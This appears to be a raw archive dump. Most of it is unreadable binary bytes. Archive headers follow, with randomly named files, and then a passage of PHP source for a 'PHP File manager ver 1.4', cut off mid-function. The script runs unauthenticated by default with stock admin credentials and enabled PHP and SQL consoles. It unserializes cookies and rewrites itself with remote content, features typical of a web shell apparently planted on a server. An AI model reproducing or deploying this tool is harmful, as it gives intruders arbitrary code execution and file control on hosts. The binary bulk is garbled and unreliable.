�/uv�鳽y�;�<m���2_��v�y�M2�����ŮZY���I�9��<T�ϻ`IY��F0&�������S�?�7�vG�;���ߚHR��?�C�Rh�ڔ���[���)�%�,���,i���lZ�:�񈀁�: �&�Hz痥���f��~Hj'�V����~��R�]q�@h�Q,�^z�=I��EyD�<?I��.Qfm��.��C6?)���<��O��$�kuv��vT���N>�<�����T��ýfc=���D�0k�j��Tx�>��Pa0�f�����r�_Vb�e�5X,J\/��jO�x��+��<�8�w�CYZx�A �k�4��eU[	�u���R�֚�[O;r��uz��r��9M�b@Yk�谱��չ?�HZ_�Ʋ;M]W�a_�>���z�-��q7/��#I�w�[O���Wk)Xa[��lo�Ϯ�Qw�c�}>��V�(wXֵP(�x,�Q��ւ��L���%Ԭԩ�����a�v���f�\./���R�Pq�7J�Zg���Mw��U�uPF�ueY���P�o��~�w[����V�{ҍ�(�f"��Sa3V"��ߓ�Ǟ��>1+G��ʈ�j�Nh�Mc��'1��%ϓ'|؆B�2��O�x&�/�˭xe#��|�_a�lbΆ�_�H�L;��V'�B��-�<�xq��ʠ?�A>���2�z����K�d��V�yy_�ו�C(�U���2���x=�S�idQ(oC��p�a���pd+�'��Ux�<��\�򷢍�~.�Ԥ�v<���JS���ȪV�C�Y3Z���}Qz
t�Q7'���6RV��"�n46W�ː��Tb�������M3��q��V��T�8�V[�z#�Z����q�5�w�I�<���6*Z��U��i��OV��U3�X�W���]�*����4�/���S�}-+>�\����Z%�z�漟��W�կ���Y��N�ʞ]7Z�q^���X���:�2b���@��e9����H�9�ГJ�>�H¦�{m]�D�e��Zl�����/w��Q��%��Qg�?RK�];_
����6�.���E�ӊn�N�_�����I'����V�+ѭ�ɬ��1�<�Q+0A3��W��z�EI���Ȱ3NL���L,�G�������ɭ��Z_{\D�~"��[��9�W���?;Jt�j(��?ʑq�TY�&�>�k�l�,���c�@sީ5���i��}x�b��T�mj=��<��!�{�hZ'��T�A�?�=�Z��>��RXD��\�:x~�v�Z3���h0�ځF�Y�4��DO�������a���h�T&�ά(��ʶ� ͣ��c��ٖ�]L����D�;����bS�K���h������[�4X�$%�H��ld���HsSi��[��x�Gb?��H���J?	֪��\x<��Ck�?��D��\+�G��>�i�:���b�>C�QU���Z��cRy�)�8�bҚW�>8Ek����@$����W[��f\��q>�>���w�8qPױ��P����Vl7N�Z}$fC�q��xB��&�Xm�I<�0l��´W���20�&��mq�B�7P���SmIB-TND�{�O�{��٨���u~�ی7�N41��������H�<�E�WR��b�2�iԳ��:1g�Ѷ���h�ȉx��iċq�
�"���Ʊ�nњ��\*2;���Cy��^W�͵�F*˦j��$�|��q����H���]m!M��Ҡ�F9�Ҩ���Զ�4�B�T�q����x��
��z#�'�[O�Z��F�r�F�O�'���i��m��I��|8Ώ�t���R�aFhL�d�jb��E�Â�GV�^��ΎZ��d�Nc���]gb%%���a�ĮʠB�4��e�j��e<��hCh���1�xi�o���D%4�(y�r�^}�������37'��"?�������k�m+X���T���:�P����S0��y.����hpSwڏ�b��6v�o	�0S
�i����f�'Ƒ���<�wKY��[��y@�\��ʗW�msP,�Gϓ�Z�Y̳Y��Bb���u1�\��z�/T��u�Y����u/�A��sk�����S��'��Cf�i�ݭ:�d;�F�Wi�CҪ��v��*8,��b 5�R�Fc\t�Un�K�z����j1t��݇'T1�OW�ժ,��l��u���'S���Ϫ�g� �|x��s�R�Sϰ�������h�J��!�km�1��$Y]O{��^�5��뉇F�Պb(��3��2��m���['rb�5o��L��6�!�+�a���-�[���?l!�B����a���-�[���?l!�[Hky�� b:>���P���e[��P�<���=�FO���/�3�Q���n�B�}+�-�r�y^�

q��/�ʹ]~���HE�8��'ee1�Kd{BG
GG5i�n=�D,$M���&��쑆5�����x�0[ 2�+HH=��+�{�]�����?���GRo�dz�z�����b�yה�ƝLj?�gKmeX@��dR�\`�$#��Z����G���س�ItTԊ\�{��<Rm"%%��r�|g8�uj�Dp[h��!�ih��j٬�P0��=W4~ڛ��s�S�1�h�T���Lէi����HvV}��w�uL>Dr�м��gi�O�V����͕�Z6Ŏ�:jt�
�!M*n�6=��Rx����q!�+3��5C�z��
�n��ݍǒ'�	F�G��F����v�۩W
�.�֕�]�TP��M�a�	�����Ri;k��S�W?,���Fn�Bh�%��"�?pϫ�&�eW��d���!��_TG�MlQxj?��b����+Y���cG�2;ޓ�Oz�I�[T�y2il;�X��Q�;a���Ԟ/vJ�p_�d�]��gwϞ�(U.Ğ�N��
��䑳"x��ʼn������?:��(����AD����g���:q����V�WYO�J�������`b/,F��D#U�Tr/�~�T30T�5(��nUQ�r�Y�!�oI����Rn����|��g���
�hO=D׳�MI���p.�;�E1]���Y��ޗ.��W��Y��f�ٶ�l�B���J��Ɩ�B?�B{�h�0��J|/o��A��5*�~�
�Zq�-<��9\�T�+O��i`��XO���xb?���oBJ��^f҉D'����` =L�l|��<���8���B8�XϪ:�j(�CmT����YCt���Bq��P_KU�ꡙ��K�V����ea[����QΣv������)�=��V&�xfx�q����O��v`�o��a�	=q�ݶ���(4�ź�q�±�D?8?xԈAb����J��=o���20�@@�C��ė���)�RJe��Hw%m���i��o���w:�r�;���e�g�+���b�Ls^\=FK���\��Ng3{�c���`�]��0��d;�����R�J؜Yxn��� ����}��N�	��L?�&��<��n#2�b
��c#�o��٢�ju����VZ��'5կ����0�t�=i�T�z.��K����r�|c<�[Ӈ`L�E��'+M���A�C.�L�5�x4E�����i�m��t�/f�t�ŀT|�E"91��'���01X��^��4�@���˕�:S����|���R&3xJ<�+	��VҬ�.��Դ�.>��e]q�m6����!'�c]�:�ڧ�R��X}�ԕ�~�ڶ��!]�T�g�z� �Jn����mJ�xH�Nd�|-�lw��R$�+�:���	���p�xׂ����Xпܹ�;�~��
Dy8��!��W��h�o��xwcQ�[�kgJ��T�{B�/VUn%mJ*���'�v��K.�{'�s�C�)�����w�h�����բ0����9M1�P�����c�(r�K��?���r����kr����xAb���M�ۺ�JT�p���_/_���1���w��ǵ�W���8Z���R�h�Q��N��K��Q/�FzZ���p�1Z���zg,��#��7�h�wĊ:W�\���7�F\��3�.�		�{K
�%ٚ�¶ȶ8�	�tr.2�~�
��b�1���"v��N��g|����,�#��P[+1����?剛���l���XR~b��⛔nb����^��8���j̆WT�A	K`C&ȏ@$�
^�;^��
u����#�v��c�?؏����s��@6�� �<�m�tw1P�ɱ���/^�`��Oz-J�Lꝍ��N��"�������j�-���3^�Ό����5�G��p��F�(Vٴ=��V�uh���߸�m�
����s��ڶͷ5HH�!��ג �mQކx���2FTȷZ:�pa�C������E�z�*I.Y[�T2�m{��M�wE94�XOX���E�x+
��w�2� Q����:����#�|6">6�4�'�c��
�_+���d)}�G���o���1��H��g)G!�~'Bg�q��G�A�wbf��w9[Լ�/���
؝_;��m?�kAy�G�]
dա",_�q]CF\��Ÿ���y!u�^A:E�#'�\_�E�T�ԏ����ؾ��H�X�c���%��>�Ț7���*QMj\�+��J�6�5?=e��Z�}E|}~J��U������SZ���5ҵ��{�6lH˨b������IB%�*�7L�C�p*�å��>��.�'�G���8������Ї��e���)o�&@��`��ﺙ�w�%̻O�}T��pNp��-`��7k�h��V*4LI����4�חi�o|��ޏN�����Z�l����~�	��Q@1�
���
�:�p��h�&N�U�!�ְ� ��� ��h[�-4v�4_7u��c��f��#�'8���p=b2�����V,�Ԭu!���5�� �>�G#v����GYZ���3��GU�O�2.�S�C�&`�F+L#��'�+_вAM�om~��f���!�'����a�?�_�-Bt"Z��ۚ���Q��2t�/��, �������/�6q)�%V�G���� ,F���������;U�h�M�K7b���
�y@�+}�X�x:�ݟ�Ƈv��H6'h��;��(���$ I�3"�X�suĆL�`���ED7>�1^KIPU̱0#�8?NCG*�ٷ��5p��٢������s�I���4F�g'(O�-m���f8��D�,���:�ᐰ9�������_�=��Jx�0%~K�H��#�/:�"����d��)z����|�p DC��5 %-{!�߅��ճ�<�}eqD��h��31�.���M`x�?�.��!��{�U�| Z�6瀝��H@��I���y�!R)�wz��t��:�����0�6��wҵ��SXdп���N��,�wV7°��eCtz^�:�� É��%C����b��c�q�鳅��3�Œ�(�a}'�M�P@�#�&��JY���*<B>��i��P�P�D��eYn�t��寂�zE�y?�!'�){*�S�A�yyu� [�]�hg��qf�3l�l]���yt�o� ���^�^H�i��<���,�ՠ=Xġ�Ɍ��:e�$p��]���k#<?>���s[.�š	B�"�¢����{���`�16R�O��Μ�+�]�ۿknv���zC������rLsX��9�x,s���8�u�=���|z�#�6O�KLƢ��Q

�aY�0Dq�#���/3���h��4�����I��D^��}���AR�,_��f����q�&c�N��X��bog�y—�|���O�L��È�{%/�>6�s:p��k��p}�d�2�9U$��$_%��x��cP������%�"�[]�:���BK�~"�:KG���`�e�wvȀ
|���	��P�˗Sn��T��[��ؓ�*�ck~)�"����+�L_�d�/ٸ��jrw+	!�9/bک�s��JE<� ��0�:�C�#zr~�eS���������әi�g\�l�����b���3H�:�{�a��o�bN��Y[g:=^&�<���t�P�R��u�}0�Q��K����9�9*���Ħ�k%�ltR��#^���t��D�!N>(�˂��^Daa|���z�TmTQ���G8�qY�Z���ւ8�+�"�OO�)ö�]�ڬ@l*!��s��L�£2�
��Ai�M��w�|��#��#�~C���쁗J�^�v��W�$c���~��r~D�A�q=�N>�n~��M|�i/��
�w8MW�|�Bu}��6�&�wO:\�L��u�,�8��i���
����p)�"X��4�;#Z_Z
,k~���,h���X*�����m����0���΃җ{mئ_%	��Oh�Н�:Lp�Ռ=���ͫ���\�	���,�w|���+�H2��e˲�+�V�N���25�!��󥑋�!��u�^;��h>��ě|���¤�s��]]֦�R7�&�.K`����d�V��E��z}�KH�Y��#`[n��.���qg/ys��(Hl�.,��ޚM}�D���ef�A�Sg��*�JX��h�7�K��X�-���H�p
�>AЬ��Š�+�g�2��z���.Aœ&t��~���7�1a޵�@{�����Ͽ��s�����7�G&A�+���|J!���b1Ǎ�!���� T'n71��֯.;<�A��Ve����^�]>t��<+�È<\�OzI&���N����|����m�i�=��^�b���tH̴��@�u�vG����
Dζf�)bCűQ�oóF��w���nA�wFI�4�jǴ4�~*&ϸj�@y�yZ���Ĵ��E
�.���B�י޲y��C���1ΛÏ��!��ZԄ%�h��7���o���d\�g�p?��}�!����,�5��ѯ3�4_���!���W�c�/ՠG⠃����O��rć0�/�\:��R|���H���,�"�$���Kg)@��)��j�F_=|�U��:Y����{!
�b�V'�Ppy�e�Gܾ��NjQ�.jhs-ڗ��RN���-���|ꋌ'�=A��� ������5���5�y�EQ��x��*˧W(d�J}-Xܐ�"�iD4��5<���>��
�9=��I6�(:.z�N=�`��
�~k��~�&c
E�|���󷒼U��y\�����U��??P��oo���Y�������
Y,�x�',Z��f��(`���L|�!'��tΉ�i��\�l(M��S��kK2]�
�ඌu�o�)埭� ��@6��������A� �7F�>bjH'`H{2�q%��7��2�I
/c|WϮu����k�
?�>�`Uu5��+q�<�������^t���%��D vȲ�p�9�g���)Z{��<��ULw '��ά^�#�s�{�x�:LJ�r�B�{�����8��L2.{�����,���7Bc
-ܼF��䎏i""��B�th��j��cB1?�����@�8���@ f0d����B$��������q�R�l�h&�Ʉv�/N��BJᙽ�f�5}�rھd�(�X|1u�eq�Bj*B�İ:�|��X;I_D;�酐!���mtC�����0�pҋfߜ'l
���nr�������ϧ_lǫ������7�M�i�)IJ��֊���
'�]���M(��
�H��,�5����@��a6J�%_��/Υ�\/��J�a��H��p��f�_���"�A$�"d�֯�&����d^������ 
�
�����F�Nᵵ"1�I{�{�g�=Y�̏�p��[+�9��W��Y�RLnDg3�|���|T��B`�<2}۸�;��sR�}�{��9[��;�eb;eIIF�^�^�����>�~���Lk`O�{˸~��a��o�e�Hp��(���[>�q�	��H6�ï�fpP��8�Xf3D$�U�HڇDs��r2ۭ�����gpӄ��\
�N{M��މ�		�>��Hpn���}������cI[#��`�DŠ���_�
�ށ�ų�����y�|�o�2��Pc�Ψ@����CCcݛ��v�ΰ�}��)��d��.G�fq3bn�[��5�%���6hR�l�9���6&��l�g��$���ڪ(|"y��d�#ast�^M����g\R��[�e=zK�Z�5N�EI���h�ρ��
06N����o�{8�Q���7�i8,�lLҩ�-�[���t=�
���n�c�����}��\b����
�6��8�}ƞ������!���
eQTɹ�[` "�
�/V��7aM�c0gCw��G�e�7�|[�![#%?�L�?���8��%�$[K��"�Y�a5�mc�DRr�������w���`FS���vCM�;��7>�Ԝ򼆶^�ʃ�S�J��
���	�UjA�:�џ��v��Ɏ��c4C�?Z��K�`���&m�H5^K�z��r�e�:T!'�@5j+@�3��!��p99=�~�!�S�k�h�����x��r���bv#�|�����A�ǭ_�gʒ�U�7K��Q{8�U�iuL#}`�>�
a38*)�k����O**<�q�T�^Se�/a���~�^a\@R�9�t&������S�Z�7��v����s��O��l..$y�RTm��� 
G��x��:|����r8�^f�eF^f�e��q^|�Hl�_?"��� �;��Y��&���xDzRQG>�u�A�4�h:�q�"!
~�X��]���3d��/��#a~cFwn���RS��a0���n&�$ѬB�-C$���a���[&����C{L�E�Q'���$J��W��A�P�$�z��5̸"zR�H
�Ia#)�'ō��+j���X�$��p��������
���(�(sϬ�(A%�dZ�Q��R���Z��C���~y�3�qE/��㯤�	� HQ���B��(�&�W$WO6Z$N)T'�й��O0U1lɘ/f��ϥ�r��\
%׊��}��K��B�M��2��(��rҁP�U�S��7X(Q�v��[y<�PG~���50
��8����n}ېOV&l��6r��#�G��;�ps�-�	�r��L��G���D���| �s[�
;�z�)ı�m���Y���U�Ҳ���D��Ok���$#}aq?|F,R���������n��Z��x7p1�������~�p$��7�%ۭ�M�����$�1=���q}H&�p��8��`2����t��Og��ӝ�o�/[��;;�U^fyR�R}�y��Ξ��}r�E� �P1�^��;�H��>	�����ƍ��G�8��&����C5��6��-n�A�1�:���-��	�'ZOe�X؀����ڇ��b)�}|�������b� ��\v
]]iTԂ�%�i9[��O`��ir�Ym�x��� �طV23\:#���n���]���`fD��%��1'.G��&�&+>������3K.Tz��9G��:v9���� m^��cɒ�j��Ëtژnu�=�[�x~�p��p�b[���o���m ��ǂ��2�1S�cp	��O��׍���+��� ]��UU:�)l�:��C$~�R&��;���J>z��H��33tn��R�IƂ�@	
;CT<é�����Շ�k�	�1C ���� UQ{&�E�я�סn�ϳ�d��G�hS�D�`t.u���*���"��L�9v뫣2W��9=,�FLy,�c���1�rPE�ekHq�G�X�L��%�yj2H��d�>���B�矰ɀ�n�-Do]�]9_�ek��G��H$1~dՖ(�����28�E�y�	�($j}	��8���da�K�ra���pTd}��~�h:ĴK�M^DA��y���0/�	z���C�T�q+�� ���g����5Zi)���O΃l���®#f���|����LW�#����?�	f���ϋ�uI�~�>�O�3��<cЍUH3���b�7�#:�����̙D�g^,�n�K��6���Fm�d�F�O�@��`8GE.7�s�j\օ9Z���x ҕ���F�W�v$� 	*C�͍8�e�~��J�&��=�4�������c^���,�2�@�F�Ɂ���"&�#��1���){�-�����,���g`���:��<�����{��;v���=������j)BK�N��й���0��S�s2�m��gFO��lw*L�K�&=�3�);�:Cy-����a�ɩ)0|�oR��l��g�GE�·Va��0s.�.+D��|5�uL}½2Ŝ:9�1�0
/3ף}�AG���U/OK��@@�mպ�҈xƶ���B�tڈ�/t���w-c���Kw~�4��^��]��R7�1Y�㥗1��ɍp
��ARїP�K02.�D='��H��~k˥�H���z�/�VWm0犄H�\�y�yz��X#v��d�>���vDK��r�y��q�_|�N~뮧C0bc^��N�{�)�t���-�3���)g��z�^��M��_���Ҩ���:c#����<ϸC��(�&|��"�>���+�go�5nC��3=)��?H±�MB�K2z�V+�N��ݕ���<�xF?dz�np,����gP�(!����Ĉ'����>���aۙ^��[�$��1�w[-3��5Va��|-|<��H��=��l��>__-2�Y�,g��f<AҹTD\E�*.H�?_��	�����p4x�q#�OT�Ȱ��z���5e�q[� 
eE�a��^eG����j��d��5]t�gԜ�	$۶	��
�<�!��:�c��y<JDn9�Ғe�$�߫��$�x]0:"�e$���;�i)��ƉC�Xd�|�Њ��n���^���2�o}�D*x���=���w	�C�0<ݾ�6���\��<��q]O9i�G���j3f��k�F��!�p^�5��h<�H!����
�0�o�uZ�B�a��U�2�!��zL0��!G�����A�%��
��8�X��6�{�Vb@8���ڜ�'�����٣J�c��M9�x�^Wϱˌ˔�0�IiXdWh�4$Xr{��ed	�xtOrC$��#�P.���[ĥ�FNK��q�gc��9�3|�r����,h��gLlPF_�&�{rm��ݍ���[�F⸙�}�(�oc����e4�� �`!HF��R�2k�!�n���C�EYVL���k1CI&�GW��#����p�4Q��85��/u)�8.�f̟0�����i\�Z�"�]F�GV�������t87%�c�Xz��Ht�} P,I����s߶���IR�1���2ԗ^�7+�З��|G�=�ӼwЈ�R�E�:��y��i�6j��
*_X��٦
7o�MO!k'�|�3U���0����ʚ��w!�V�y��X����>�����;mͨWXb���a|�d�Þ�����6c��b0"X=�^��͙���
�N6���r�+�G���`gIv}���+�ɪo�ȫ+�,����<�mp(L���!�
\��Q��5�p3Vfr+�j\��ܚ��&��87Km�_RxCT����g����h�e���I	!�+���m�५|����͜|s�f(r�Y�����"J���jү��>�.?��G6����װI�\�ta�fP[4�;�	�l�v��nT5���2�b�+�?��u1]�;RČm+wߨ����xL2���z�)�@������9�u��mT���ni��q�-8���f)�7�O�5���?:���6����ub_��Յx��>���������S�g�����2%�������C�E�L�	�����^�=gx~ �9�Qܓ����m*�k�}��h��	4�exh�O*��""��Bw��<^�q ys9��߯���y?�"���D��K���X7��1@I��88Ze�肛C���G,
�I+��67�7n&+�Q�d"mc���'��(�ա��.M.k���,�
��寿�kbΙ$�D�T
+��̜���':L��.��:x,�\��v�*�2v�f�[c��E}���Йa��b��0��BR�}T���7��������f�c%.W���QE"�ZQ����ۜ�}u};��0�aqrq��@0�q(p~���Q.��(���D8�����[��$���f�1�^�ry���L�e;7s�$�^�X�(GC�ѐG"���z�x���c˨t�-'���ե"H���S �R4jh�.��`�X��X�;j���&
������*�2L��k|�b������e�E�!�@Ѕ�&A^��:ޙ�-Ơ�u��6[� 6nǔD�¢��3���p�
,�nv��[�Nj�V0���7��z0K��7WH}�(|�]���o0
�?����QBJ~�g�xDO��,$Gp.75ԧ���1gu�:��=�N�sDŽq؛��w��� ��*��"ѿ�*dCP���s�L��^U06�3'���[�{����@�={�������-'�/p�\G�z�X�Z���S	62۔�3B���ext^����[�v-��я��{i�C�%�,l.��M
}_�.�;z��ر�?+lb��FbP�����Ws���^zpS>�,�u����;Y�9|s{K"�8�Z��ϣU�8�x�z;H�->�@��D�8�r܇S��wD�ڀ/��n���|������3�$�:a�A��{M����:���1��t�d\�,�����2�8�~_����T��jrX��KEf�0>��hqC�]��H�w5n��8�g����t�w�h�%	{��5�X�ª��]�]�2߭zN�7����`�F�Q}N
�&'u*�k�oHd˶a�'��͍m�����=�������]�yz���-vwg��3�0_�a�f�k�C�ky�����w뼶�oY!�p��h�[��w�h�1}��{b�@O����������/UC<PK!�s3?�&�&
w8zplf.tar.gznu�[���PK!;�e�5�5	/'1o045.phpnu�[���PK!UC<<
]1o045.php.tarnu�[���PK!�r5�a�a[�1o045.php.php.tar.gznu�[���PK!��=���
>�w8zplf.tarnu�[���PK�x�w8zplf/w8zplf.tar000064400000557000000000000000007710 0ustar001o045.php000064400000232666000000000000006005 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
